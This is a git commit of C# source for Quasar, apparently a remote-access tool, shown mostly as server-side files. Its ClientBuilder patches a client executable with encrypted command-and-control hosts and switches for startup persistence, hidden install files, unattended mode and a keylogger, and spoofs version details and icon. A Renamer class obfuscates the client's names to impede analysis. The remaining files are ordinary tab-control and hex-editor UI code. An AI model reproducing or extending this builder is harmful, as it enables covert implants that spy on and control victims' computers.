initial commit

This commit is contained in:
i2p
2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
+225
View File
@@ -0,0 +1,225 @@
using Mono.Cecil;
using Mono.Cecil.Cil;
using Quasar.Common.Cryptography;
using Quasar.Server.Models;
using System;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using Vestris.ResourceLib;
namespace Quasar.Server.Build
{
/// <summary>
/// Provides methods used to create a custom client executable.
/// </summary>
public class ClientBuilder
{
private readonly BuildOptions _options;
private readonly string _clientFilePath;
public ClientBuilder(BuildOptions options, string clientFilePath)
{
_options = options;
_clientFilePath = clientFilePath;
}
/// <summary>
/// Builds a client executable.
/// </summary>
public void Build()
{
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath))
{
// PHASE 1 - Writing settings
WriteSettings(asmDef);
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
throw new Exception("renaming failed");
// PHASE 3 - Saving
r.AsmDef.Write(_options.OutputPath);
}
// PHASE 4 - Assembly Information changing
if (_options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(_options.OutputPath);
versionResource.FileVersion = _options.AssemblyInformation[7];
versionResource.ProductVersion = _options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = _options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = _options.AssemblyInformation[1];
stringFileInfo["ProductName"] = _options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = _options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5];
versionResource.SaveTo(_options.OutputPath);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(_options.IconPath))
{
IconFile iconFile = new IconFile(_options.IconPath);
IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
iconDirectoryResource.SaveTo(_options.OutputPath);
}
}
private void WriteSettings(AssemblyDefinition asmDef)
{
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
var key = serverCertificate.Thumbprint;
var aes = new Aes256(key);
byte[] signature;
// https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6
using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey)
{
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
}
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "Quasar.Client.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts);
break;
case 3: //installsub
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub);
break;
case 4: //installname
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName);
break;
case 5: //mutex
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex);
break;
case 6: //startupkey
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName);
break;
case 7: //encryption key
methodDef.Body.Instructions[i].Operand = key;
break;
case 8: //tag
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag);
break;
case 9: //LogDirectoryName
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
break;
case 10: //ServerSignature
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
break;
case 11: //ServerCertificate
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 ||
methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile));
break;
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger));
break;
case 5: //HideLogDirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory));
break;
case 6: // HideInstallSubdirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory));
break;
case 7: // UnattendedMode
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int
{
//reconnectdelay
methodDef.Body.Instructions[i].Operand = _options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath);
}
}
}
}
}
}
}
/// <summary>
/// Obtains the OpCode that corresponds to the bool value provided.
/// </summary>
/// <param name="p">The value to convert to the OpCode</param>
/// <returns>Returns the OpCode that represents the value provided.</returns>
private OpCode BoolOpCode(bool p)
{
return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
}
/// <summary>
/// Attempts to obtain the signed-byte value of a special folder from the install path value provided.
/// </summary>
/// <param name="installPath">The integer value of the install path.</param>
/// <returns>Returns the signed-byte value of the special folder.</returns>
/// <exception cref="ArgumentException">Thrown if the path to the special folder was invalid.</exception>
private sbyte GetSpecialFolder(int installPath)
{
switch (installPath)
{
case 1:
return (sbyte)Environment.SpecialFolder.ApplicationData;
case 2:
return (sbyte)Environment.SpecialFolder.ProgramFiles;
case 3:
return (sbyte)Environment.SpecialFolder.System;
default:
throw new ArgumentException("InstallPath");
}
}
}
}
+195
View File
@@ -0,0 +1,195 @@
using Mono.Cecil;
using Quasar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Quasar.Server.Build
{
public class Renamer
{
/// <summary>
/// Contains the assembly definition.
/// </summary>
public AssemblyDefinition AsmDef { get; set; }
private int Length { get; set; }
private MemberOverloader _typeOverloader;
private Dictionary<TypeDefinition, MemberOverloader> _methodOverloaders;
private Dictionary<TypeDefinition, MemberOverloader> _fieldOverloaders;
private Dictionary<TypeDefinition, MemberOverloader> _eventOverloaders;
public Renamer(AssemblyDefinition asmDef)
: this(asmDef, 20)
{
}
public Renamer(AssemblyDefinition asmDef, int length)
{
this.AsmDef = asmDef;
this.Length = length;
_typeOverloader = new MemberOverloader(this.Length);
_methodOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
_fieldOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
_eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
}
/// <summary>
/// Attempts to modify the assembly definition data.
/// </summary>
/// <returns>True if the operation succeeded; False if the operation failed.</returns>
public bool Perform()
{
try
{
foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types))
{
RenameInType(typeDef);
}
return true;
}
catch
{
return false;
}
}
private void RenameInType(TypeDefinition typeDef)
{
if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */)
return;
_typeOverloader.GiveName(typeDef);
typeDef.Namespace = string.Empty;
MemberOverloader methodOverloader = GetMethodOverloader(typeDef);
MemberOverloader fieldOverloader = GetFieldOverloader(typeDef);
MemberOverloader eventOverloader = GetEventOverloader(typeDef);
if (typeDef.HasNestedTypes)
foreach (TypeDefinition nestedType in typeDef.NestedTypes)
RenameInType(nestedType);
if (typeDef.HasMethods)
foreach (MethodDefinition methodDef in
typeDef.Methods.Where(methodDef =>
!methodDef.IsConstructor && !methodDef.HasCustomAttributes &&
!methodDef.IsAbstract && !methodDef.IsVirtual))
methodOverloader.GiveName(methodDef);
if (typeDef.HasFields)
foreach (FieldDefinition fieldDef in typeDef.Fields)
fieldOverloader.GiveName(fieldDef);
if (typeDef.HasEvents)
foreach (EventDefinition eventDef in typeDef.Events)
eventOverloader.GiveName(eventDef);
}
private MemberOverloader GetMethodOverloader(TypeDefinition typeDef)
{
return GetOverloader(this._methodOverloaders, typeDef);
}
private MemberOverloader GetFieldOverloader(TypeDefinition typeDef)
{
return GetOverloader(this._fieldOverloaders, typeDef);
}
private MemberOverloader GetEventOverloader(TypeDefinition typeDef)
{
return GetOverloader(this._eventOverloaders, typeDef);
}
private MemberOverloader GetOverloader(Dictionary<TypeDefinition, MemberOverloader> overloaderDictionary,
TypeDefinition targetTypeDef)
{
MemberOverloader overloader;
if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader))
{
overloader = new MemberOverloader(this.Length);
overloaderDictionary.Add(targetTypeDef, overloader);
}
return overloader;
}
private class MemberOverloader
{
private bool DoRandom { get; set; }
private int StartingLength { get; set; }
private readonly Dictionary<string, string> _renamedMembers = new Dictionary<string, string>();
private readonly char[] _charMap;
private readonly SafeRandom _random = new SafeRandom();
private int[] _indices;
public MemberOverloader(int startingLength, bool doRandom = true)
: this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray())
{
}
private MemberOverloader(int startingLength, bool doRandom, char[] chars)
{
this._charMap = chars;
this.DoRandom = doRandom;
this.StartingLength = startingLength;
this._indices = new int[startingLength];
}
public void GiveName(MemberReference member)
{
string currentName = GetCurrentName();
string originalName = member.ToString();
member.Name = currentName;
while (_renamedMembers.ContainsValue(member.ToString()))
{
member.Name = GetCurrentName();
}
_renamedMembers.Add(originalName, member.ToString());
}
private string GetCurrentName()
{
return DoRandom ? GetRandomName() : GetOverloadedName();
}
private string GetRandomName()
{
StringBuilder builder = new StringBuilder();
for (int i = 0; i < StartingLength; i++)
{
builder.Append((char)_random.Next(int.MinValue, int.MaxValue));
}
return builder.ToString();
}
private string GetOverloadedName()
{
IncrementIndices();
char[] chars = new char[_indices.Length];
for (int i = 0; i < _indices.Length; i++)
chars[i] = _charMap[_indices[i]];
return new string(chars);
}
private void IncrementIndices()
{
for (int i = _indices.Length - 1; i >= 0; i--)
{
_indices[i]++;
if (_indices[i] >= _charMap.Length)
{
if (i == 0)
Array.Resize(ref _indices, _indices.Length + 1);
_indices[i] = 0;
}
else
break;
}
}
}
}
}
@@ -0,0 +1,141 @@
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Windows.Forms;
// thanks to Mavamaarten~ for coding this
namespace Quasar.Server.Controls
{
internal class DotNetBarTabControl : TabControl
{
public DotNetBarTabControl()
{
SetStyle(
ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | ControlStyles.UserPaint |
ControlStyles.DoubleBuffer, true);
SizeMode = TabSizeMode.Fixed;
ItemSize = new Size(44, 136);
Alignment = TabAlignment.Left;
SelectedIndex = 0;
}
protected override void OnPaint(PaintEventArgs e)
{
Bitmap b = new Bitmap(Width, Height);
Graphics g = Graphics.FromImage(b);
if (!DesignMode)
SelectedTab.BackColor = SystemColors.Control;
g.Clear(SystemColors.Control);
g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)),
new Rectangle(0, 0, ItemSize.Height + 4, Height));
g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(ItemSize.Height + 3, 0),
new Point(ItemSize.Height + 3, 999));
g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(0, Size.Height - 1),
new Point(Width + 3, Size.Height - 1));
for (int i = 0; i <= TabCount - 1; i++)
{
if (i == SelectedIndex)
{
Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2),
new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1));
ColorBlend myBlend = new ColorBlend();
myBlend.Colors = new Color[] { Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240) };
myBlend.Positions = new float[] { 0f, 0.5f, 1f };
LinearGradientBrush lgBrush = new LinearGradientBrush(x2, Color.Black, Color.Black, 90f);
lgBrush.InterpolationColors = myBlend;
g.FillRectangle(lgBrush, x2);
g.DrawRectangle(new Pen(Color.FromArgb(170, 187, 204)), x2);
g.SmoothingMode = SmoothingMode.HighQuality;
Point[] p =
{
new Point(ItemSize.Height - 3, GetTabRect(i).Location.Y + 20),
new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 14),
new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 27)
};
g.FillPolygon(SystemBrushes.Control, p);
g.DrawPolygon(new Pen(Color.FromArgb(170, 187, 204)), p);
if (ImageList != null)
{
try
{
g.DrawImage(ImageList.Images[TabPages[i].ImageIndex],
new Point(x2.Location.X + 8, x2.Location.Y + 6));
g.DrawString(" " + TabPages[i].Text, Font, Brushes.Black, x2, new StringFormat
{
LineAlignment = StringAlignment.Center,
Alignment = StringAlignment.Center
});
}
catch (Exception)
{
g.DrawString(TabPages[i].Text, new Font(Font.FontFamily, Font.Size, FontStyle.Bold),
Brushes.Black, x2, new StringFormat
{
LineAlignment = StringAlignment.Center,
Alignment = StringAlignment.Center
});
}
}
else
{
g.DrawString(TabPages[i].Text, new Font(Font.FontFamily, Font.Size, FontStyle.Bold),
Brushes.Black, x2, new StringFormat
{
LineAlignment = StringAlignment.Center,
Alignment = StringAlignment.Center
});
}
g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Location.Y - 1),
new Point(x2.Location.X, x2.Location.Y));
g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Bottom - 1),
new Point(x2.Location.X, x2.Bottom));
}
else
{
Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2),
new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1));
g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)), x2);
g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(x2.Right, x2.Top),
new Point(x2.Right, x2.Bottom));
if (ImageList != null)
{
try
{
g.DrawImage(ImageList.Images[TabPages[i].ImageIndex],
new Point(x2.Location.X + 8, x2.Location.Y + 6));
g.DrawString(" " + TabPages[i].Text, Font, Brushes.DimGray, x2, new StringFormat
{
LineAlignment = StringAlignment.Center,
Alignment = StringAlignment.Center
});
}
catch (Exception)
{
g.DrawString(TabPages[i].Text, Font, Brushes.DimGray, x2, new StringFormat
{
LineAlignment = StringAlignment.Center,
Alignment = StringAlignment.Center
});
}
}
else
{
g.DrawString(TabPages[i].Text, Font, Brushes.DimGray, x2, new StringFormat
{
LineAlignment = StringAlignment.Center,
Alignment = StringAlignment.Center
});
}
}
}
e.Graphics.DrawImage(b, new Point(0, 0));
g.Dispose();
b.Dispose();
}
}
}
@@ -0,0 +1,82 @@
using System;
using System.Collections.Generic;
namespace Quasar.Server.Controls.HexEditor
{
public class ByteCollection
{
private List<byte> _bytes;
#region Properties
public int Length
{
get { return _bytes.Count; }
}
#endregion
#region Constructor
public ByteCollection()
{
_bytes = new List<byte>();
}
public ByteCollection(byte[] bytes)
{
_bytes = new List<byte>(bytes);
}
#endregion
#region Methods
public void Add(byte item)
{
_bytes.Add(item);
}
public void Insert(int index, byte item)
{
_bytes.Insert(index, item);
}
public void Remove(byte item)
{
_bytes.Remove(item);
}
public void RemoveAt(int index)
{
_bytes.RemoveAt(index);
}
public void RemoveRange(int startIndex, int count)
{
_bytes.RemoveRange(startIndex, count);
}
public byte GetAt(int index)
{
return _bytes[index];
}
public void SetAt(int index, byte item)
{
_bytes[index] = item;
}
public char GetCharAt(int index)
{
return Convert.ToChar(_bytes[index]);
}
public byte[] ToArray()
{
return _bytes.ToArray();
}
#endregion
}
}
+232
View File
@@ -0,0 +1,232 @@
using System;
using System.Drawing;
using System.Runtime.InteropServices;
namespace Quasar.Server.Controls.HexEditor
{
public class Caret
{
#region Field
/// <summary>
/// Contains the start index
/// where the caret started
/// </summary>
int _startIndex;
/// <summary>
/// Contains the end index
/// where the caret is
/// currently located
/// </summary>
int _endIndex;
/// <summary>
/// Tells if the given caret
/// is active in the controller
/// (control is in focus)
/// </summary>
bool _isCaretActive;
/// <summary>
/// Tells if the caret is
/// currently hidden or
/// not (out of view)
/// </summary>
bool _isCaretHidden;
/// <summary>
/// Holds the actual position
/// of the caret
/// </summary>
Point _location;
private HexEditor _editor;
#endregion
#region Properties
public int SelectionStart
{
get
{
if (_endIndex < _startIndex)
return _endIndex;
return _startIndex;
}
}
public int SelectionLength
{
get
{
if (_endIndex < _startIndex)
return _startIndex - _endIndex;
return _endIndex - _startIndex;
}
}
public bool Focused
{
get { return _isCaretActive; }
}
public int CurrentIndex
{
get { return _endIndex; }
}
public Point Location
{
get { return _location; }
}
#endregion
#region EventHandlers
public event EventHandler SelectionStartChanged;
public event EventHandler SelectionLengthChanged;
#endregion
#region Constructor
public Caret(HexEditor editor)
{
_editor = editor;
_isCaretActive = false;
_startIndex = 0;
_endIndex = 0;
_isCaretHidden = true;
_location = new Point(0, 0);
}
#endregion
#region Methods
#region Caret
private bool Create(IntPtr hWHandler)
{
if (!_isCaretActive)
{
_isCaretActive = true;
return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2);
}
return false;
}
private bool Show(IntPtr hWnd)
{
if (_isCaretActive)
{
_isCaretHidden = false;
return ShowCaret(hWnd);
}
return false;
}
public bool Hide(IntPtr hWnd)
{
if (_isCaretActive && !_isCaretHidden)
{
_isCaretHidden = true;
return HideCaret(hWnd);
}
return false;
}
public bool Destroy()
{
if (_isCaretActive)
{
_isCaretActive = false;
DeSelect();
DestroyCaret();
}
return false;
}
#endregion
public void SetStartIndex(int index)
{
_startIndex = index;
_endIndex = _startIndex;
if (SelectionStartChanged != null)
SelectionStartChanged(this, EventArgs.Empty);
if (SelectionLengthChanged != null)
SelectionLengthChanged(this, EventArgs.Empty);
}
public void SetEndIndex(int index)
{
_endIndex = index;
if (SelectionStartChanged != null)
SelectionStartChanged(this, EventArgs.Empty);
if (SelectionLengthChanged != null)
SelectionLengthChanged(this, EventArgs.Empty);
}
public void SetCaretLocation(Point start)
{
Create(_editor.Handle);
_location = start;
SetCaretPos(_location.X, _location.Y);
Show(_editor.Handle);
}
public bool IsSelected(int byteIndex)
{
return (SelectionStart <= byteIndex && byteIndex < (SelectionStart + SelectionLength));
}
private void DeSelect()
{
if (_endIndex < _startIndex)
_startIndex = _endIndex;
else
_endIndex = _startIndex;
if (SelectionStartChanged != null)
SelectionStartChanged(this, EventArgs.Empty);
if (SelectionLengthChanged != null)
SelectionLengthChanged(this, EventArgs.Empty);
}
#endregion
#region Caret import
[DllImport("user32.dll", SetLastError = true)]
static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight);
[DllImport("user32.dll", SetLastError = true)]
static extern bool DestroyCaret();
[DllImport("user32.dll", SetLastError = true)]
static extern bool SetCaretPos(int x, int y);
[DllImport("user32.dll", SetLastError = true)]
static extern bool ShowCaret(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
static extern bool HideCaret(IntPtr hWnd);
#endregion
}
}
@@ -0,0 +1,177 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Quasar.Server.Controls.HexEditor
{
public class EditView : IKeyMouseEventHandler
{
#region Fields
/// <summary>
/// Contains the handler for the hex
/// view.
/// </summary>
private HexViewHandler _hexView;
/// <summary>
/// Contains the handler for the
/// string view
/// </summary>
private StringViewHandler _stringView;
private HexEditor _editor;
#endregion
#region Contructor
public EditView(HexEditor editor)
{
_editor = editor;
_hexView = new HexViewHandler(editor);
_stringView = new StringViewHandler(editor);
}
#endregion
#region KeyMouseEvent
#region Key
public void OnKeyPress(KeyPressEventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.OnKeyPress(e);
}
else
{
_stringView.OnKeyPress(e);
}
}
public void OnKeyDown(KeyEventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.OnKeyDown(e);
}
else
{
_stringView.OnKeyDown(e);
}
}
public void OnKeyUp(KeyEventArgs e)
{ /* ... */ }
#endregion
#region Mouse
public void OnMouseDown(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDown(e.X, e.Y);
}
else
{
_stringView.OnMouseDown(e.X, e.Y);
}
}
}
public void OnMouseDragged(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDragged(e.X, e.Y);
}
else
{
_stringView.OnMouseDragged(e.X, e.Y);
}
}
}
public void OnMouseUp(MouseEventArgs e)
{ /* ... */ }
public void OnMouseDoubleClick(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDoubleClick();
}
else
{
_stringView.OnMouseDoubleClick();
}
}
}
#endregion
#region Focus
public void OnGotFocus(EventArgs e)
{
if (InHexView(_editor.CaretPosX))
_hexView.Focus();
else
_stringView.Focus();
}
#endregion
#endregion
#region UpdateActions
public void SetLowerCase()
{
_hexView.SetLowerCase();
}
public void SetUpperCase()
{
_hexView.SetUpperCase();
}
public void Update(int startPositionX, Rectangle area)
{
_hexView.Update(startPositionX, area);
_stringView.Update(_hexView.MaxWidth, area);
}
#endregion
#region PaintActions
public void Paint(Graphics g, int startIndex, int endIndex)
{
for (int i = 0; (i + startIndex) < endIndex; i++)
{
_hexView.Paint(g, i, startIndex);
_stringView.Paint(g, i, startIndex);
}
}
#endregion
#region Misc
private bool InHexView(int x)
{
return (x < (_hexView.MaxWidth + _editor.EntityMargin - 2));
}
#endregion
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,442 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Quasar.Server.Controls.HexEditor
{
public class HexViewHandler
{
#region Fields
bool _isEditing;
/// <summary>
/// Contains info about how to
/// present the hex values
/// (Upper or Lower case)
/// </summary>
string _hexType = "X2";
/// <summary>
/// Contains the boundary for one single
/// hexa value that is visible
/// </summary>
Rectangle _recHexValue;
/// <summary>
/// Contains the format of the hexadecimal
/// strings that are presented
/// </summary>
StringFormat _stringFormat;
private HexEditor _editor;
#endregion
#region Properties
public int MaxWidth
{
get { return _recHexValue.X + (_recHexValue.Width * _editor.BytesPerLine); }
}
#endregion
#region Constructor
public HexViewHandler(HexEditor editor)
{
_editor = editor;
//Set String format for the hex values
_stringFormat = new StringFormat(StringFormat.GenericTypographic);
_stringFormat.Alignment = StringAlignment.Center;
_stringFormat.LineAlignment = StringAlignment.Center;
}
#endregion
#region Method
#region KeyMouseEvents
#region KeyEvents
public void OnKeyPress(KeyPressEventArgs e)
{
if (IsHex(e.KeyChar))
HandleUserInput(e.KeyChar);
}
public void OnKeyDown(KeyEventArgs e)
{
if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back)
{
if (_editor.SelectionLength > 0)
{
//Remove the selected bytes
HandleUserRemove();
int index = _editor.CaretIndex;
Point newLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, newLocation);
}
else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete)
{
//Remove the byte after the caret
_editor.RemoveByteAt(_editor.CaretIndex);
Point newLocation = GetCaretLocation(_editor.CaretIndex);
_editor.SetCaretStart(_editor.CaretIndex, newLocation);
}
else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back)
{
//Remove byte before the caret
int index = _editor.CaretIndex - 1;
if (_isEditing)
{
//Remove the byte that is being edited
index = _editor.CaretIndex;
}
_editor.RemoveByteAt(index);
Point newLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, newLocation);
}
_isEditing = false;
}
else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0)
{
int index = _editor.CaretIndex - _editor.BytesPerLine;
//Check ig caret is att the end of the line
if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine)
{
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height);
//check that this is not the last row (nothing above)
if (index == 0)
{
//Last row do not change index and position
position = new Point(_editor.CaretPosX, _editor.CaretPosY);
index = _editor.BytesPerLine;
}
if (e.Shift)
_editor.SetCaretEnd(index, position);
else
_editor.SetCaretStart(index, position);
_isEditing = false;
}
else
{
HandleArrowKeys(index, e.Shift);
}
}
else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine)
{
int index = _editor.CaretIndex + _editor.BytesPerLine;
if (index > _editor.HexTableLength)
{
index = _editor.HexTableLength;
HandleArrowKeys(index, e.Shift);
}
else
{
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height);
if (e.Shift)
_editor.SetCaretEnd(index, position);
else
_editor.SetCaretStart(index, position);
_isEditing = false;
}
}
else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0)
{
int index = _editor.CaretIndex - 1;
HandleArrowKeys(index, e.Shift);
}
else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.HexTableLength)
{
int index = _editor.CaretIndex + 1;
HandleArrowKeys(index, e.Shift);
}
}
public void HandleArrowKeys(int index, bool isShiftDown)
{
Point position = GetCaretLocation(index);
if (isShiftDown)
_editor.SetCaretEnd(index, position);
else
_editor.SetCaretStart(index, position);
_isEditing = false;
}
#endregion
#region MouseEvent
public void OnMouseDown(int x, int y)
{
int iX = (x - _recHexValue.X) / _recHexValue.Width;
int iY = (y - _recHexValue.Y) / _recHexValue.Height;
//Check that values are good
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
iX = iX < 0 ? 0 : iX;
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
iY = iY < 0 ? 0 : iY;
//Make sure values are withing the given bounds
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
{
//Check that column is not greater than max
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
{
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
//Get the smallest possible location (do not want to exceed the max)
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine));
int xPos = (iX * _recHexValue.Width) + _recHexValue.X;
int yPos = (iY * _recHexValue.Height) + _recHexValue.Y;
_editor.SetCaretStart(index, new Point(xPos, yPos));
_isEditing = false;
}
public void OnMouseDragged(int x, int y)
{
int iX = (x - _recHexValue.X) / _recHexValue.Width;
int iY = (y - _recHexValue.Y) / _recHexValue.Height;
//Check that values are good
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
iX = iX < 0 ? 0 : iX;
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
if (_editor.FirstVisibleByte > 0)
{
iY = iY < 0 ? -1 : iY;
}
else
{
iY = iY < 0 ? 0 : iY;
}
//Make sure values are withing the given bounds
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
{
//Check that column is not greater than max
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
{
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
//Get the smallest possible location (do not want to exceed the max)
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine));
int xPos = (iX * _recHexValue.Width) + _recHexValue.X;
int yPos = (iY * _recHexValue.Height) + _recHexValue.Y;
_editor.SetCaretEnd(index, new Point(xPos, yPos));
}
public void OnMouseDoubleClick()
{
if (_editor.CaretIndex < _editor.LastVisibleByte)
{
int index = _editor.CaretIndex + 1;
Point newLocation = GetCaretLocation(index);
_editor.SetCaretEnd(index, newLocation);
}
}
#endregion
#endregion
#region PaintMethod
public void Update(int startPositionX, Rectangle area)
{
_recHexValue = new Rectangle(
startPositionX,
area.Y,
(int)(_editor.CharSize.Width * 3),
(int)(_editor.CharSize.Height) - 2
);
_recHexValue.X += _editor.EntityMargin;
}
public void Paint(Graphics g, int index, int startIndex)
{
Point columnAndRow = GetByteColumnAndRow(index);
if (_editor.IsSelected(index + startIndex))
{
PaintByteAsSelected(g, columnAndRow, (index + startIndex));
}
else
{
PaintByte(g, columnAndRow, (index + startIndex));
}
}
private void PaintByteAsSelected(Graphics g, Point point, int index)
{
